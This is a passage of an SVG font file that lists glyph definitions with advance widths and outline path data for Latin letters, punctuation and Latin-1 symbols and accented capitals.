<glyph unicode="U" horiz-adv-x="1398" d="M131 543v891h109v-891q0 -111 38 -201.5t99.5 -145.5t141 -85t161.5 -30t161.5 30t141 85.5t99.5 145.5t38 201v891h109v-891q0 -136 -47 -245.5t-124.5 -177t-176 -104.5t-201.5 -37t-201.5 36.5t-176 104t-124.5 177.5t-47 246z" />
<glyph unicode="V" horiz-adv-x="1380" d="M23 1434h118l531 -1311l530 1311h119l-590 -1438h-119z" />
<glyph unicode="W" horiz-adv-x="2140" d="M16 1434h117l442 -1311l441 1311h61l439 -1311l444 1311h119l-506 -1438h-119l-227 672l-180 567l-181 -563l-229 -676h-119z" />
<glyph unicode="X" horiz-adv-x="1323" d="M61 0v2l527 733l-488 695v2h121l434 -613l437 613h118v-2l-487 -695l526 -733v-2h-131l-463 655l-462 -655h-132z" />
<glyph unicode="Y" horiz-adv-x="1308" d="M8 1432v2h129l486 -754l487 754h129v-2l-561 -859v-573h-111v573z" />
<glyph unicode="Z" horiz-adv-x="1183" d="M27 0v47l911 1284h-862v103h1038v-39l-924 -1286h924v-109h-1087z" />
<glyph unicode="[" horiz-adv-x="567" d="M160 -246v1807h370v-99h-264v-1609h264v-99h-370z" />
<glyph unicode="\" horiz-adv-x="892" d="M-8 1554h108l764 -1722h-106z" />
<glyph unicode="]" horiz-adv-x="622" d="M35 -147h264v1609h-264v99h371v-1807h-371v99z" />
<glyph unicode="^" horiz-adv-x="1056" d="M25 786l430 648h102l430 -648l-4 -6h-106l-371 568l-371 -568h-106z" />
<glyph unicode="_" horiz-adv-x="1052" d="M27 -53h958v-94h-958v94z" />
<glyph unicode="`" horiz-adv-x="479" d="M59 1434v2h134l153 -246v-8h-98z" />
<glyph unicode="a" d="M57 506q0 151 69.5 270.5t186.5 183.5t258 64q129 0 241 -59.5t173 -173.5v221h100v-1012h-100v215q-71 -115 -179 -173t-235 -58q-141 0 -258 65t-186.5 185.5t-69.5 271.5zM158 506q0 -187 119 -305.5t294 -118.5q102 0 184.5 36.5t133 96t78 135.5t27.5 155t-27.5 155 t-78 135.5t-133 96t-184.5 36.5q-175 0 -294 -117.5t-119 -304.5z" />
<glyph unicode="b" horiz-adv-x="1271" d="M113 0v1434h98v-643q59 118 171 177.5t249 59.5q107 0 199 -35t161 -100t108.5 -165t39.5 -222q0 -244 -143 -383t-363 -139q-132 0 -246 63t-176 176v-223h-98zM213 508q0 -188 117 -307t297 -119q179 0 296 111t117 313q0 138 -56.5 236t-148.5 144t-208 46 q-177 0 -295.5 -118.5t-118.5 -305.5z" />
<glyph unicode="c" horiz-adv-x="1034" d="M53 506q0 234 147.5 375t372.5 141q101 0 197.5 -39t171.5 -113l-65 -63q-60 60 -139.5 90.5t-164.5 30.5q-86 0 -162 -28t-134 -80.5t-91.5 -133.5t-33.5 -180t33.5 -180t91.5 -133.5t134 -80.5t162 -28q83 0 161.5 32t139.5 93l68 -68q-75 -75 -171 -113t-198 -38 q-143 0 -260.5 61.5t-188.5 180.5t-71 274z" />
<glyph unicode="d" horiz-adv-x="1259" d="M57 506q0 122 39.5 222t108.5 165t161 100t199 35q137 0 249 -59.5t171 -177.5v643h98v-1434h-98v223q-62 -113 -176 -176t-246 -63q-220 0 -363 139t-143 383zM156 506q0 -202 117 -313t296 -111q180 0 297 119t117 307q0 187 -118.5 305.5t-295.5 118.5 q-116 0 -208 -46t-148.5 -144t-56.5 -236z" />
<glyph unicode="e" horiz-adv-x="1216" d="M55 506q0 148 69 268.5t186.5 187t258.5 66.5q87 0 165 -21t145 -66t113 -111q46 -64 67 -160q14 -63 14 -134q0 -37 -4 -77h-911q15 -173 131.5 -274t279.5 -101q105 0 207.5 41t157.5 113l72 -58q-71 -93 -190.5 -143.5t-246.5 -50.5q-143 0 -259 62t-185.5 181.5 t-69.5 276.5zM158 547h821q-1 185 -112.5 287t-297.5 102q-162 0 -278 -104t-133 -285z" />
<glyph unicode="f" horiz-adv-x="772" d="M10 915v89h207v90q0 161 72 253.5t231 92.5q108 0 201 -70l-49 -74q-46 28 -79.5 40t-76.5 12q-201 0 -201 -254v-90h334v-89h-334v-915h-98v915h-207z" />
<glyph unicode="g" horiz-adv-x="1112" d="M61 -256h101q0 -100 53.5 -170.5t137 -102.5t188.5 -32q78 0 145.5 18t121.5 53.5t85 95.5t31 138t-33 138.5t-88.5 95t-122 52t-139.5 17.5q-214 0 -344.5 141t-130.5 349q0 153 64.5 266.5t171 170t239.5 56.5q75 0 150.5 -25t135.5 -67l99 115l65 -58l-98 -114 q125 -135 125 -344q0 -134 -74.5 -254.5t-198.5 -176.5q134 -48 205.5 -140t71.5 -222q0 -132 -65.5 -224.5t-172 -135.5t-243.5 -43q-135 0 -243 46.5t-172.5 139t-64.5 217.5zM166 537q0 -162 103.5 -276t271.5 -114q156 0 267.5 116t111.5 274q0 185 -107.5 289 t-271.5 104t-269.5 -101.5t-105.5 -291.5z" />
<glyph unicode="h" horiz-adv-x="1146" d="M113 0v1434h96v-611q58 103 154 152t210 51q207 0 315.5 -121t108.5 -325v-580h-98v580q0 163 -81 256.5t-245 93.5q-158 0 -259 -107.5t-101 -267.5v-555h-100z" />
<glyph unicode="i" horiz-adv-x="387" d="M84 1341q0 51 40 71q20 10 41 9l41 -9q40 -20 40 -70q0 -52 -40 -72q-20 -10 -41 -10l-41 10q-40 20 -40 71zM113 0h100v1016h-100v-1016z" />
<glyph unicode="j" horiz-adv-x="391" d="M-221 -395q91 -49 182 -49q66 0 114.5 17.5t78.5 47.5t47.5 75.5t24.5 93.5q5 43 5 95v17v1112h-98v-1112q0 -59 -5.5 -98.5t-22 -77.5t-52.5 -57t-92 -19q-83 0 -154 41zM100 1352q0 50 40 70q21 11 41 11l41 -11q40 -20 40 -70t-40 -70q-21 -11 -41 -11l-41 11 q-40 20 -40 70z" />
<glyph unicode="k" horiz-adv-x="897" d="M113 0v1434h98v-865l477 443h133v-4l-512 -473l572 -529v-6h-127l-543 496v-496h-98z" />
<glyph unicode="l" horiz-adv-x="380" d="M113 0v1434h100v-1434h-100z" />
<glyph unicode="m" horiz-adv-x="1882" d="M113 0v1012h94l2 -168q50 95 137.5 141.5t192.5 46.5q126 0 229 -61.5t145 -188.5q44 120 148 185t227 65q186 0 305 -119t119 -307v-606h-100v606q0 147 -90 239.5t-234 92.5t-234.5 -95.5t-90.5 -242.5v-600h-101v600q0 147 -90.5 241.5t-234.5 94.5t-234 -94.5 t-90 -241.5v-600h-100z" />
<glyph unicode="n" horiz-adv-x="1177" d="M113 0v1012h98v-181q56 99 151.5 148t208.5 51q206 0 331.5 -119t125.5 -327v-584h-100v582q0 168 -97 260q-95 90 -257 90h-7q-156 -1 -255 -106t-99 -263v-563h-100z" />
<glyph unicode="o" horiz-adv-x="1212" d="M66 504q0 157 69 278t185.5 184.5t259.5 63.5t259.5 -63.5t185.5 -184.5t69 -278q0 -235 -147 -376.5t-367 -141.5t-367 141.5t-147 376.5zM164 504q0 -191 119.5 -305.5t296.5 -114.5t296 114.5t119 305.5q0 192 -119.5 312t-295.5 120t-296 -120t-120 -312z" />
<glyph unicode="p" horiz-adv-x="1273" d="M113 -422v1434h98v-240q61 117 176.5 185.5t261.5 68.5q214 -8 353 -146t139 -374q0 -124 -40 -224.5t-110 -165.5t-163 -99.5t-201 -34.5q-133 0 -244 64t-174 187v-655h-96zM217 504q0 -185 117.5 -305.5t292.5 -120.5q117 0 209 46.5t148 145t56 236.5 q0 205 -116 314.5t-297 109.5q-177 0 -293.5 -120t-116.5 -306z" />
<glyph unicode="q" horiz-adv-x="1259" d="M59 506q0 236 139 374t353 146q146 0 261.5 -68.5t176.5 -185.5v240h98v-1434h-96v655q-63 -123 -174 -187t-244 -64q-108 0 -201 34.5t-163 99.5t-110 165.5t-40 224.5zM160 506q0 -138 56 -236.5t148 -145t209 -46.5q175 0 292.5 120.5t117.5 305.5q0 186 -116.5 306 t-293.5 120q-181 0 -297 -109.5t-116 -314.5z" />
<glyph unicode="r" horiz-adv-x="802" d="M113 0v1012h94l4 -181q44 96 137 143.5t199 47.5h10q108 0 207 -59l-45 -82q-75 47 -172 47q-140 -1 -237 -100t-97 -238v-590h-100z" />
<glyph unicode="s" horiz-adv-x="1021" d="M53 186l74 66q60 -86 161 -129t210 -43q53 0 101.5 8t98.5 27.5t81.5 59.5t33.5 97q1 30 -9 55.5t-24.5 43t-43 33t-52 24.5t-64 18.5t-66 14.5t-71.5 12q-53 9 -84.5 15t-78.5 18t-74.5 24t-61 33t-51 45.5t-30.5 59.5t-13 81q0 69 32 124q34 56 91.5 89.5t128.5 49.5 q67 16 141 16h9q232 0 376 -135l-61 -66q-71 63 -145 85t-170 22h-8q-76 0 -142 -18q-68 -18 -114 -62q-43 -42 -42 -101v-5q1 -37 20.5 -66.5t48 -47.5t69.5 -32t77.5 -21.5t79.5 -15.5h3t3 -0.5t3.5 -1t3.5 -0.5q161 -28 220 -47q172 -58 194 -192q3 -22 3 -46v-12 q-2 -79 -41 -137t-103 -88t-131 -43.5t-140 -13.5q-139 0 -259 52t-184 150z" />
<glyph unicode="t" horiz-adv-x="806" d="M31 928v84h215v295l98 10v-305h344v-84h-344v-617q0 -56 7 -95t26.5 -72t57.5 -49.5t95 -16.5q72 0 156 41l35 -82q-104 -51 -191 -51q-154 0 -219 83t-65 242v617h-215z" />
<glyph unicode="u" horiz-adv-x="1177" d="M111 430v584h100v-582q1 -168 97 -260q94 -90 256 -90h7q156 1 255.5 106t99.5 263v563h100v-1014h-98v182q-56 -99 -152 -147.5t-209 -50.5q-206 0 -331 119t-125 327z" />
<glyph unicode="v" horiz-adv-x="1028" d="M16 1012h111l369 -895l368 895h111l-424 -1012h-111z" />
<glyph unicode="w" horiz-adv-x="1566" d="M-2 1012h111l305 -895l309 895h72l307 -895l303 895h111l-359 -1012h-110l-164 442l-123 394l-127 -396l-164 -440h-111z" />
<glyph unicode="x" horiz-adv-x="995" d="M18 0v4l392 520l-363 484v4h121l301 -414l301 414h121v-4l-363 -484l392 -520v-4h-119l-332 453l-332 -453h-119z" />
<glyph unicode="y" horiz-adv-x="1058" d="M35 1012h108l236 -598l119 -293l116 295l254 596h109l-617 -1434h-106l186 434z" />
<glyph unicode="z" horiz-adv-x="940" d="M49 0v35l645 887h-612v90h762v-39l-639 -879h639v-94h-795z" />
<glyph unicode="{" horiz-adv-x="653" d="M66 598v80q161 0 161 242v276q0 178 69 246t243 35v-70q-131 20 -176.5 -25t-45.5 -186v-276q0 -34 -1 -57.5t-5.5 -56t-14.5 -55.5t-25.5 -46.5t-41 -40t-59.5 -25.5q41 -10 69.5 -33.5t43.5 -49t23 -64.5t9.5 -67t1.5 -69v-301q0 -139 45.5 -181t176.5 -19v-78 q-55 -8 -98 -8t-76 7t-56.5 23t-39.5 38.5t-25 56t-13 72t-4 89.5v301q0 242 -161 242z" />
<glyph unicode="|" horiz-adv-x="516" d="M180 -242v1686h109v-1686h-109z" />
<glyph unicode="}" horiz-adv-x="610" d="M37 -145q131 -23 176 19t45 181v301q0 28 0.5 48.5t4 49t9.5 49t17 44t26 40.5t38.5 31t52.5 21q-34 9 -60 25.5t-41.5 40t-25.5 46.5t-14 55.5t-5.5 56t-1.5 57.5v276q0 141 -45 186t-176 25v70q118 22 187 -3t96.5 -92t27.5 -186v-276q0 -242 162 -242v-80 q-162 0 -162 -242v-301q0 -51 -4 -89.5t-13 -72t-25 -56t-39.5 -38.5t-56 -23t-75.5 -7t-98 8v78z" />
<glyph unicode="~" horiz-adv-x="1136" d="M29 573q40 91 104.5 145t148.5 62.5t179 -43.5l209 -119q61 -32 112.5 -37t97.5 27.5t72 108.5l84 -33q-53 -140 -155.5 -184.5t-239.5 22.5l-223 129q-106 50 -190 15.5t-124 -129.5z" />
<glyph unicode="&#xa1;" horiz-adv-x="399" d="M96 950q0 50 40.5 70.5t81 0t40.5 -70.5t-40.5 -70.5t-81 0t-40.5 70.5zM129 -412h104v1145h-104v-1145z" />
<glyph unicode="&#xa2;" horiz-adv-x="1177" d="M121 485q0 218 132.5 356.5t340.5 157.5v123h98v-123q187 -19 320 -149l-70 -64q-126 123 -299 123q-88 0 -164 -27.5t-134.5 -79.5t-92 -133.5t-33.5 -183.5q0 -137 58.5 -234.5t152.5 -142.5t213 -45q169 0 299 127l70 -71q-135 -132 -320 -148v-145h-98v145 q-134 12 -239.5 73.5t-169.5 175.5t-64 265z" />
<glyph unicode="&#xa3;" horiz-adv-x="1357" d="M121 0v92q78 80 124.5 152.5t62.5 140t15 122.5t-16 124h-186v88h164q-1 4 -8.5 30.5t-9 33.5t-8 31t-8.5 35t-6.5 34t-6.5 38t-4.5 36t-3.5 41t-1 40q0 102 39 181.5t107.5 128t155.5 73.5t188 25q75 0 140 -11t125.5 -38t103 -68t68 -106t26.5 -148h-95q-1 65 -23 115 t-57.5 80t-85 49t-98 26t-104.5 7q-175 0 -282 -81t-107 -233q0 -39 6 -85.5t12 -74t20 -86t17 -73.5h530v-88h-512q13 -75 14 -136t-12 -130.5t-53.5 -136t-107.5 -130.5h952v-98h-1075z" />
<glyph unicode="&#xa4;" horiz-adv-x="1150" d="M88 279l123 122q-89 112 -89.5 264.5t87.5 266.5l-121 121l72 71l121 -123q108 80 256 80q146 0 254 -80l122 123l72 -71l-121 -121q88 -114 87 -266t-89 -265l123 -122l-72 -72l-125 123q-102 -76 -251 -76q-147 0 -254 76l-123 -123zM223 668.5q0 -59.5 20.5 -117 t58 -102t98.5 -72t137 -27.5q75 0 136 27.5t98.5 72t57.5 102t20 117t-20 117t-57.5 102t-98.5 72t-136 27.5q-76 0 -137 -27.5t-98.5 -72t-58 -102t-20.5 -117z" />
<glyph unicode="&#xa5;" horiz-adv-x="1284" d="M8 1432v2h125l490 -754l491 754h125v-2l-520 -793h285v-84h-328v-129h328v-84h-328v-342h-109v342h-315v84h315v129h-315v84h272z" />
<glyph unicode="&#xa6;" horiz-adv-x="399" d="M109 -180v743h110v-743h-110zM109 700v746h110v-746h-110z" />
<glyph unicode="&#xa7;" horiz-adv-x="1103" d="M94 164l74 63q60 -83 161 -125.5t210 -42.5q52 0 101 8t99.5 27.5t82 59t34.5 94.5q1 39 -18 69.5t-41 47.5t-73.5 32t-80 20.5t-95.5 16.5q-5 1 -8 1.5t-7.5 1t-8.5 1.5q-65 10 -117 23t-105.5 35.5t-89.5 51t-59 71t-24 94.5q-2 75 50.5 144t139.5 99q-89 32 -139 86.5 t-51 145.5q-1 70 33 125t91.5 87.5t128.5 48.5t150 15q236 0 377 -133l-61 -63q-71 61 -145.5 82.5t-170.5 21.5q-82 1 -150.5 -18t-112.5 -61.5t-42 -102.5q1 -28 12.5 -52t26.5 -40.5t43.5 -31.5t49.5 -23.5t58.5 -17.5t57 -13t57.5 -11q48 -8 82 -14t82 -18.5t81.5 -26 t70 -35.5t58 -48t35 -62.5t11.5 -79.5q-5 -179 -209 -228q100 -30 156.5 -87.5t52.5 -159.5q-2 -63 -28.5 -112.5t-68 -80t-97 -50t-109.5 -27t-112 -7.5q-139 0 -259 51.5t-184 147.5zM227 715q1 -48 36.5 -86.5t91.5 -59.5t123.5 -31.5t134.5 -2t122 29t89 62t32 96.5 q-1 47 -36.5 86t-92 61.5t-124.5 35t-135 4.5t-122 -28.5t-88 -64t-31 -102.5z" />
<glyph unicode="&#xa8;" horiz-adv-x="931" d="M131 1389q0 50 40.5 70.5t81 0t40.5 -70.5t-40.5 -70.5t-81 0t-40.5 70.5zM569 1389q0 50 40.5 70.5t81 0t40.5 -70.5t-40.5 -70.5t-81 0t-40.5 70.5z" />
<glyph unicode="&#xa9;" horiz-adv-x="1804" d="M131 713q0 123 31 234.5t93 205t149.5 162t207 107t258.5 38.5q173 0 314.5 -59t233.5 -161.5t142 -237.5t50 -289q0 -153 -50 -288t-142 -238t-233.5 -162.5t-314.5 -59.5t-315 59.5t-233.5 162.5t-141 238t-49.5 288zM233 713q0 -184 73.5 -331.5t220 -236t343.5 -88.5 q149 0 270 51t200.5 140t122 208.5t42.5 256.5q0 138 -42.5 257.5t-122 208.5t-200.5 140t-270 51t-270.5 -51t-201 -140t-122.5 -208.5t-43 -257.5zM494 719q0 -170 115.5 -286t285.5 -116q79 0 152.5 30.5t128.5 86.5l-72 76q-88 -88 -209 -88q-126 0 -211.5 85.5 t-85.5 211.5q0 125 85.5 210t211.5 85q120 0 209 -86l72 73q-55 56 -128.5 86.5t-152.5 30.5q-170 0 -285.5 -115t-115.5 -284z" />
<glyph unicode="&#xaa;" horiz-adv-x="956" d="M80 1106q0 155 97.5 247.5t240.5 92.5q78 0 148 -35.5t112 -101.5v127h90v-664h-90v129q-44 -67 -113 -102t-147 -35q-143 0 -240.5 93.5t-97.5 248.5zM104 547v98h684v-98h-684zM182 1106q0 -108 70 -178t172 -70q77 0 134 36.5t82.5 91.5t25.5 119t-25.5 119 t-82.5 91.5t-134 36.5q-103 0 -172.5 -69.5t-69.5 -176.5z" />
<glyph unicode="&#xab;" horiz-adv-x="761" d="M61 649l283 449h107v-11l-277 -438l277 -438v-12h-107zM254 649l283 449h106v-11l-276 -438l276 -438v-12h-106z" />
<glyph unicode="&#xac;" horiz-adv-x="925" d="M78 637v104h710v-383h-102v279h-608z" />
<glyph unicode="&#xad;" horiz-adv-x="978" d="M119 592v106h717v-106h-717z" />
<glyph unicode="&#xae;" horiz-adv-x="1871" d="M166 713q0 123 31 234.5t93.5 205t150 162t206.5 107t258 38.5t259 -38.5t207.5 -107t149.5 -162t93 -205t31 -234.5q0 -153 -49.5 -288t-141.5 -238t-234 -162.5t-315 -59.5q-139 0 -258 38.5t-206.5 108t-150 163t-93.5 205t-31 233.5zM270 713q0 -137 42.5 -256.5 t122 -208.5t200.5 -140t270 -51q197 0 343.5 88.5t220 236t73.5 331.5q0 138 -43 257.5t-122.5 208.5t-201 140t-270.5 51t-270 -51t-200.5 -140t-122 -208.5t-42.5 -257.5zM633 332h96v295h170l256 -295h107v16l-246 279q64 8 113.5 39t74 75t34.5 95t-5 100t-44.5 89.5 t-84 65.5t-123.5 25h-348v-784zM729 713v309h252q45 0 80.5 -17t53.5 -44.5t26.5 -60.5t-1 -65.5t-28.5 -60t-55 -44.5t-82 -17h-246z" />
<glyph unicode="&#xb0;" horiz-adv-x="724" d="M120 1284q0 52 22.5 96.5t73.5 74.5t120 30t119 -30t73 -74.5t23 -96.5t-23 -96.5t-73 -74.5t-119 -30t-120 30t-73.5 74.5t-22.5 96.5zM210.5 1285q-0.5 -32 12 -59t42 -45t71.5 -18q57 0 89 38t32 84t-32 84t-89 38q-39 0 -68 -18t-43 -45t-14.5 -59z" />
<glyph unicode="&#xb1;" horiz-adv-x="1062" d="M150 707v92h333v336h95v-336h331v-92h-331v-340h-95v340h-333zM166 96v97h733v-97h-733z" />
<glyph unicode="&#xb2;" horiz-adv-x="946" d="M195 877v163q0 107 82.5 165.5t199.5 58.5q174 0 174 135q0 131 -178 131q-39 0 -67.5 -4.5t-56 -17.5t-42 -40.5t-14.5 -68.5h-94q0 62 23.5 106.5t64.5 67.5t87 33t101 10q52 0 97 -10t86.5 -33t65.5 -67.5t24 -106.5q0 -57 -19.5 -99t-47.5 -65t-67.5 -36.5t-70.5 -17 t-66 -3.5q-27 0 -55 -5.5t-59 -19.5t-50.5 -43.5t-19.5 -71.5v-75h442v-86h-540z" />
<glyph unicode="&#xb3;" horiz-adv-x="829" d="M117 1090h98q0 -127 180 -127q32 0 60 5t59 17.5t49.5 41t18.5 69.5q0 42 -45.5 80t-135.5 38h-112v89h104q43 0 80 9.5t66.5 36.5t29.5 68q0 46 -47 81.5t-129 35.5q-28 0 -56 -6t-57 -19.5t-47 -41t-18 -66.5h-88q0 56 22 99t60.5 67.5t84.5 36.5t99 12q113 0 192 -52 t79 -149q0 -61 -32.5 -102.5t-86.5 -55.5q62 -16 97.5 -63.5t35.5 -97.5q0 -64 -24 -110t-66.5 -70.5t-90 -35t-104.5 -10.5q-55 0 -102 11.5t-87 36t-63 68.5t-24 104z" />
<glyph unicode="&#xb4;" horiz-adv-x="458" d="M80 1182v8l153 246h134v-2l-189 -252h-98z" />
<glyph unicode="&#xb6;" horiz-adv-x="1660" d="M100.5 805.5q-24.5 110.5 3 220.5t84.5 201t165 148t245 57h956v-91h-217v-1783h-96v1783h-551v-1783h-100v841q-139 0 -247 57t-163 148t-79.5 201.5z" />
<glyph unicode="&#xb7;" horiz-adv-x="366" d="M74 694q0 50 40.5 70.5t81 0t40.5 -70.5t-40.5 -70.5t-81 0t-40.5 70.5z" />
<glyph unicode="&#xb8;" horiz-adv-x="606" d="M45 -315l57 55q56 -80 154 -80q46 0 82.5 20t46.5 58q19 62 -33 101t-159 16l-13 10l41 180h80l-27 -119q79 4 129 -28t63.5 -79t0.5 -100q-19 -71 -78.5 -107t-132.5 -36q-66 0 -124 28t-87 81z" />
<glyph unicode="&#xb9;" horiz-adv-x="577" d="M104 1513v86h211v-638h105v-87h-311v87h108v552h-113z" />
<glyph unicode="&#xba;" horiz-adv-x="833" d="M102 1184v106q0 78 25.5 141t67.5 102t95 60t109 21t109 -21.5t95 -60t67.5 -101.5t25.5 -141v-106q0 -78 -25.5 -141t-67.5 -101.5t-95 -59.5t-109 -21t-109 21t-95 59.5t-67.5 101.5t-25.5 141zM199 1184q0 -72 29.5 -126t73.5 -78.5t95.5 -25t95.5 23.5t73.5 78 t29.5 128v106q0 57 -17 103t-45 74.5t-63.5 44t-73 15.5t-73 -15.5t-63.5 -44t-45 -74.5t-17 -103v-106z" />
<glyph unicode="&#xbb;" horiz-adv-x="761" d="M63 199v12l277 438l-277 438v11h107l283 -449l-283 -450h-107zM256 199v12l276 438l-276 438v11h106l283 -449l-283 -450h-106z" />
<glyph unicode="&#xbc;" horiz-adv-x="1589" d="M133 1348v86h211v-633h105v-86h-312v86h109v547h-113zM297 -14l764 1462h110l-765 -1462h-109zM829 238l359 491h133v-477h86v-90h-86v-160h-92v160h-393zM944 252h285v387z" />
<glyph unicode="&#xbd;" horiz-adv-x="1662" d="M133 1348v86h211v-633h105v-86h-312v86h109v547h-113zM297 -14l764 1462h110l-765 -1462h-109zM958 0v164q0 106 83 164.5t200 58.5q174 0 174 135q0 131 -178 131q-39 0 -67.5 -4.5t-56 -17.5t-42 -40.5t-14.5 -68.5h-94q0 62 23.5 106.5t64.5 67.5t87 33t101 10 q52 0 97 -10t86 -33t65 -67.5t24 -106.5q0 -57 -19.5 -99t-47.5 -65t-67.5 -36.5t-70 -17t-65.5 -3.5q-28 0 -55.5 -5.5t-58.5 -19t-50.5 -43t-19.5 -71.5v-76h442v-86h-541z" />
<glyph unicode="&#xbe;" horiz-adv-x="1634" d="M111 942h96q0 -125 176 -125q24 0 46 2.5t48.5 10.5t45 22t31.5 38.5t13 57.5q0 41 -45 79t-133 38h-110v86h102q42 0 79 9.5t66 36.5t29 67q0 44 -46.5 79t-127.5 35q-27 0 -54.5 -6t-55.5 -19.5t-46 -41t-18 -64.5h-86q0 56 22 98t59.5 66t82.5 35.5t96 11.5 q71 0 130 -20t97.5 -65.5t38.5 -110.5q0 -60 -32 -101t-85 -55q60 -14 96 -61.5t36 -96.5q0 -63 -23.5 -107.5t-65.5 -68.5t-89 -34.5t-103 -10.5q-73 0 -130.5 18.5t-98 68.5t-41.5 128zM395 -14l789 1462h108l-792 -1462h-105zM911 238l359 491h133v-477h86v-90h-86v-160 h-92v160h-393zM1026 252h285v387z" />
<glyph unicode="&#xbf;" horiz-adv-x="1325" d="M84 -31q1 -95 33.5 -168.5t85.5 -118.5t126.5 -73.5t148 -39.5t159.5 -11q81 0 156.5 13t148 44.5t126 78t86 119t32.5 162.5h-107q-1 -74 -29.5 -131.5t-72.5 -92t-104 -56.5t-117.5 -30.5t-118.5 -8.5q-449 0 -449 313q0 233 220 299q189 55 255 151t66 308h-102 q0 -69 -3 -113t-14 -82.5t-26 -61t-45 -43.5t-65.5 -35t-92.5 -32q-55 -16 -102.5 -43.5t-94 -72.5t-73.5 -116t-27 -159zM590 942q0 50 40 70.5t80 0t40 -70.5t-40 -70.5t-80 0t-40 70.5z" />
<glyph unicode="&#xc0;" horiz-adv-x="1421" d="M-16 0l643 1434h121l643 -1434h-119l-158 352h-856l-156 -352h-118zM301 455h770l-385 872zM457 1833v2h133l153 -246v-8h-98z" />
<glyph unicode="&#xc1;" horiz-adv-x="1421" d="M-16 0h118l156 352h856l158 -352h119l-643 1434h-121zM301 455l385 872l385 -872h-770zM621 1579v8l153 246h133v-2l-188 -252h-98z" />
<glyph unicode="&#xc2;" horiz-adv-x="1421" d="M-16 0h118l156 352h856l158 -352h119l-643 1434h-121zM301 455l385 872l385 -872h-770zM354 1554v15l291 270h82l291 -270v-15h-109l-223 197l-223 -197h-109z" />
<glyph unicode="&#xc3;" horiz-adv-x="1421" d="M-16 0l643 1434h121l643 -1434h-119l-158 352h-856l-156 -352h-118zM301 455h770l-385 872zM430 1630q7 59 44 96.5t85 41t100 -18.5l84 -45q26 -10 50.5 -12t45.5 15t29 50l70 -22q-6 -61 -43 -98t-85.5 -40t-100.5 19l-84 45q-36 20 -75 7.5t-50 -60.5z" />
<glyph unicode="&#xc4;" horiz-adv-x="1421" d="M-16 0h118l156 352h856l158 -352h119l-643 1434h-121zM301 455l385 872l385 -872h-770zM389 1661q0 50 40.5 70.5t81 0t40.5 -70.5t-40.5 -70.5t-81 0t-40.5 70.5zM827 1661q0 50 40.5 70.5t81 0t40.5 -70.5t-40.5 -70.5t-81 0t-40.5 70.5z" />
<glyph unicode="&#xc5;" horiz-adv-x="1421" d="M-16 0l637 1419q-69 18 -107.5 68t-38.5 127q0 92 63 144t152 52t154 -51.5t65 -144.5q0 -76 -42 -127.5t-113 -69.5l637 -1417h-119l-158 352h-856l-156 -352h-118zM301 455h770l-385 872zM571.5 1575q7.5 -36 39 -61t77.5 -25q48 0 81.5 25t41 61t0 72t-41 61t-81.5 25 q-46 0 -77.5 -25t-39 -61t0 -72z" />
<glyph unicode="&#xc6;" horiz-adv-x="1959" d="M25 0l872 1434h918v-101h-748v-561h707v-100h-707v-568h776v-104h-878v508h-512l-301 -508h-127zM512 608h453v742h-11z" />
<glyph unicode="&#xc7;" horiz-adv-x="1378" d="M55 709q-1 116 27.5 224t89.5 202t147 164t208 110.5t266 40.5t280.5 -55t241.5 -160l-76 -66q-90 90 -206 136.5t-240 46.5q-122 0 -225.5 -33.5t-178 -92.5t-126.5 -139.5t-77 -175t-24 -198.5q2 -128 43 -240t118 -199t198 -137.5t272 -50.5q124 0 240.5 46.5 t207.5 135.5l74 -69q-102 -102 -234 -157t-272 -58l-25 -109q60 3 104.5 -15t65 -48t29 -68t-3.5 -76q-19 -71 -79.5 -109t-133.5 -38q-66 0 -125 28.5t-88 81.5l59 58q56 -80 154 -80q46 0 82.5 20t46.5 58q19 62 -34.5 100.5t-160.5 15.5l-12 11l43 172q-161 11 -291 73 t-213 160.5t-127 223.5t-45 266z" />
<glyph unicode="&#xc8;" horiz-adv-x="1257" d="M131 0v1434h989v-105h-880v-557h839v-100h-839v-566h905v-106h-1014zM461 1851v2h133l154 -245v-9h-99z" />
<glyph unicode="&#xc9;" horiz-adv-x="1257" d="M131 0h1014v106h-905v566h839v100h-839v557h880v105h-989v-1434zM559 1593v9l154 245h133v-2l-189 -252h-98z" />
<glyph unicode="&#xca;" horiz-adv-x="1257" d="M131 0h1014v106h-905v566h839v100h-839v557h880v105h-989v-1434zM313 1583v14l291 271h82l291 -271v-14h-109l-223 197l-223 -197h-109z" />
<glyph unicode="&#xcb;" horiz-adv-x="1257" d="M131 0h1014v106h-905v566h839v100h-839v557h880v105h-989v-1434zM358 1675q0 50 40.5 70.5t81 0t40.5 -70.5t-40.5 -70.5t-81 0t-40.5 70.5zM797 1675q0 50 40.5 70.5t80.5 0t40 -70.5t-40 -70.5t-80.5 0t-40.5 70.5z" />
<glyph unicode="&#xcc;" horiz-adv-x="425" d="M-35 1845v2h133l154 -245v-9h-98zM133 0v1434h109v-1434h-109z" />
<glyph unicode="&#xcd;" horiz-adv-x="425" d="M129 1591v8l154 246h133v-2l-189 -252h-98zM133 0h109v1434h-109v-1434z" />
<glyph unicode="&#xce;" horiz-adv-x="425" d="M-119 1556v15l262 268h74l260 -268v-15h-96l-201 195l-200 -195h-99zM133 0h109v1434h-109v-1434z" />
<glyph unicode="&#xcf;" horiz-adv-x="425" d="M-57 1659q0 50 40.5 70.5t80.5 0t40 -70.5t-40.5 -70.5t-80.5 0t-40 70.5zM133 0h109v1434h-109v-1434zM270 1659q0 50 40.5 70.5t81 0t40.5 -70.5t-40.5 -70.5t-81 0t-40.5 70.5z" />
<glyph unicode="&#xd0;" horiz-adv-x="1452" d="M-16 649v101h137v684h485q141 0 260.5 -39t203 -106t143 -157t89 -191t31.5 -208q2 -111 -24 -216.5t-84.5 -199.5t-143 -164.5t-207 -111.5t-268.5 -41h-485v649h-137zM231 106h375q154 0 276 54.5t195.5 144.5t110.5 200t35 228q-2 91 -26.5 176.5t-74.5 162 t-121 133.5t-173 90.5t-222 33.5h-375v-579h334v-101h-334v-543z" />
<glyph unicode="&#xd1;" horiz-adv-x="1441" d="M133 0v1434h47l965 -1186v1186h108v-1434h-43l-966 1184v-1184h-111zM473 1624q7 59 44 96.5t85 41t100 -18.5l84 -45q26 -10 50.5 -12t45.5 15t29 50l70 -22q-6 -61 -43 -98t-85.5 -40t-100.5 19l-84 45q-36 20 -75 7.5t-50 -60.5z" />
